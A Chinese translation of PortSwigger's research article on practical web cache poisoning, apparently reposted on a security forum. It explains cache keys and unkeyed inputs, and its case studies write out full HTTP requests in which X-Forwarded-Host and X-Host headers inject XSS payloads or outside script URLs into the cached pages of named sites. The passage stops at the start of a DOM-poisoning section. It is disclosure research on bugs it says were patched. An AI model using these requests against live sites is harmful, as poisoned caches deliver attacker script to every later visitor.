实战Web缓存中毒


本文翻译自: https://portswigger.net/blog/practical-web-cache-poisoning


摘要

Web缓存投毒长期以来一直是一个难以捉摸的漏洞,是一种“理论上的”威胁和吓唬开发人员去乖乖修补但任何人无法实际利用的问题。

在本文中,我将向您展示,如何通过使用深奥的网络功能将其缓存转换为漏洞利用传送系统来破坏网站,针对的对象是任何请求访问其有错误的主页的人。

我将通过漏洞来说明和开发这种技术。这些漏洞使我能够控制众多流行的网站和框架,从简单的单一请求攻击发展到劫持JavaScript,跨越缓存层,颠覆社交媒体和误导云服务的复杂漏洞利用链。我将讨论防御缓存投毒的问题,并发布推动该研究开源的Burp Suite社区扩展。

这篇文章也会作为可打印的pdf提供,而且它是我的 Black Hat USA presentation(美国黑帽大会演示文稿), 因此幻灯片和视频将在适当的时候提供。

核心概念

缓存101

要掌握缓存投毒,我们需要快速了解缓存的基本原理。Web缓存位于用户和应用程序服务器之间,用于保存和提供某些响应的副本。在下图中,我们可以看到三个用户一个接一个地获取相同的资源:

缓存旨在通过减少延迟来加速页面加载,还可以减少应用程序服务器上的负载。一些公司使用像Varnish这样的软件来托管他们的缓存,而其他公司选择依赖像Cloudflare这样的内容交付网络(CDN),将缓存分散在各个地理位置。此外,一些流行的Web应用程序和框架(如Drupal)具有内置缓存功能。

还有其他类型的缓存,例如客户端浏览器缓存和DNS缓存,但它们不是本研究的重点。

缓存键(Cache keys)

缓存的概念可能听起来简洁明了,但它隐藏了一些风险。每当缓存收到对资源的​​请求时,它需要确定它是否已经保存了这个确切资源的副本,并且可以使用该副本进行回复,或者是否需要将请求转发给应用程序服务器。

确定两个请求是否正在尝试加载相同的资源可能很棘手; 通过请求逐字节匹配的方法是完全无效的,因为HTTP请求充满了无关紧要的数据,例如浏览器发出的请求:

缓存使用缓存键的概念解决了这个问题 - 缓存键的一些特定组件用于完全标识所请求的资源。在上面的请求中,我用橙色突出显示了典型缓存键中包含的值。

这意味着缓存认为以下两个请求是等效的,并使用从第一个请求缓存的响应来响应第二个请求:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close

因此,该页面将提供给第二位访问者错误的语言格式。这暗示了这个问题 - 任何由未加密的输入触发的响应差异,都可以存储并提供给其他用户。理论上,站点可以使用“Vary”响应头来指定应该键入的请求头。在实际中,Vary协议头仅初步使用,像Cloudflare这样的CDN却完全忽略它,人们甚至没有意识到他们的应用程序支持基于任何协议头的输入。

这会导致许多意想不到的破坏,特别是当有人故意开始利用它时,它的危害才会真正开始体现。

缓存投毒(Cache Poisoning)

Web缓存投毒的目的是发送导致有危害响应的请求,该响应将保存在缓存中并提供给其他用户。

在本文中,我们将使用未加密的输入(如HTTP请求)来使缓存中毒。当然这不是使缓存投毒的唯一方法 - 您也可以使用HTTP响应拆分和请求走私(Request Smuggling)方法- 但我认为我的方法是最好的。请注意,Web缓存投毒与Web缓存欺骗是不同类型的攻击,不应将它们混淆。

方法(Methodology)

我们将使用以下方法查找缓存投毒漏洞:

我不是试图深入解释这一点,而是快速概述,然后演示它如何应用于真实的网站。

第一步是识别未加密的输入。手动执行此操作非常繁琐,因此我开发了一个名为Param Miner的开源Burp Suite扩展,通过猜测header/cookie的名称来自动执行这些步骤,并观察它们是否对应用程序的响应产生影响。

找到未加密的输入后,接下来的步骤是评估您可以对它做多少破坏,然后尝试将其存储在缓存中。如果失败,则您需要更好地了解缓存的工作方式,并且在重试之前,搜索可缓存的目标页面。然而页面是否被高速缓存基于多种因素,包括文件扩展名,内容类型,路由,状态代码和响应头。

缓存的响应可以屏蔽未加密的输入,因此如果您尝试手动检测或探索未加密的输入,则“破坏缓存”(cache buster)是很重要的。如果加载了Param Miner,就可以通过向查询字符串添加值为$ randomplz的参数,确保每个请求都具有唯一的缓存键。

检测实时网站时,因为缓存响应而意外的使其他访问者中毒是一种永久性危害。Param Miner通过向来自Burp的所有出站请求添加“破坏缓存”来缓解这种情况。此缓存共享器具有固定值,因此您可以自己观察缓存行为,而不会影响其他用户。

实例探究(Case Studies)

让我们来看看该方法应用于真实网站时会发生什么。像往常一样,我只针对对研究人员具有友好安全策略的网站。这里讨论的所有漏洞都已被报告和修补,但由于“私人”程序需要,我被迫编写了一些漏洞利用程序。

其中许多案例研究在未加密的输入中利用了XSS等辅助漏洞,重要的是要记住,如果没有缓存投毒,这些漏洞就没用了,因为没有可靠的方法强制其他用户在跨域请求上发送自定义协议头。这可能就是他们如此容易找到的原因。

投毒的基本原理(Basic Poisoning)

尽管它的名声在外,但缓存投毒实际上很容易被利用。首先,让我们来看看Red Hat的主页。Param Miner程序立即发现了一个未加密的输入:

GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://canary/cms/social.png" />

在这里,我们可以看到应用程序使用X-Forwarded-Host协议头在元标记(meta tag)内生成打开图片的 URL。下一步是探索它是否可利用 - 我们将从一个简单的跨站点脚本 Payload开始:

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

看起来不错 - 我们可以确认做出一个响应,它将对任何查看它的人执行任意JavaScript。最后一步是检查此响应是否已存储在缓存中,以便将其传递给其他用户。不要让'Cache Control: no-cache' 协议头影响你 - 因此尝试攻击总是比假设它不起作用好。您可以先通过重新发送没有恶意协议头的请求进行验证,然后直接在另一台计算机上的浏览器中获取URL:

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com

HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

这很简单。尽管返回响应中没有任何表明缓存存在的协议头,但我们的漏洞利用已被明确缓存。DNS快速查询提供了解释 - www.redhat.com 是 www.redhat.com.edgekey.net 的CNAME(别名),表明它正在使用Akamai的CDN。

谨慎投毒(Discreet poisoning)

在这一点上,我们已经证明可以通过使https://www.redhat.com/en?dontpoisoneveryone=1投毒来进行攻击,而且避免了影响网站的实际访问者。为了真正使博客的主页投毒并使所有的后续访问者访问我们的漏洞,我们需要确保在缓存的响应过期后我们将第一个请求发送到主页。

也许可以尝试使用像Burp Intruder或自定义脚本之类的工具来发送大量请求,但这种流量大的方法几乎不可用。攻击者可以通过逆向目标的缓存到期系统并通过浏览文档和监控网站来预测准确的到期时间来避免这个问题,但这听起来就很难。

幸运的是,许多网站让我们攻击。在unity3d.com中获取此缓存投毒漏洞:

GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>

我们有一个未加密的输入 - the X-Host协议头 - 用于生成导入脚本的URL。响应协议头“Age”和“max-age”分别是当前响应的时间和它将过期的时间。总之,这些告诉我们应该发送的有效Payload确切的秒数,以确保我们的响应被缓存。

选择性投毒(Selective Poisoning)

HTTP请求头可以为缓存的内部工作节省时间。拿下面这个著名的网站:

GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>

HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe>

这看起来几乎与第一个例子相同。但是,Vary协议头告诉我们,User-Agent可能是缓存键的一部分,我通过手动测试确认了这一点。这意味着,因为我们使用的是Firefox 60,所提我们的漏洞只会提供给其他使用Firefox 60用户。我们可以使用普遍的用户代理列表来确保大多数访问者接收我们的漏洞,但这种行为使我们可以选择更具选择性的攻击。如果您了解用户的代理,则可以针对特定人员定制攻击,甚至可以隐藏自己的网站监控。

DOM投毒(DOM Poisoning)

利用未加密的输入并不总是像写入XSS Payload一样容易。如以下请求:

点击收藏 | 3 关注 | 4
  • 动动手指,沙发就是你的了!
登录 后跟帖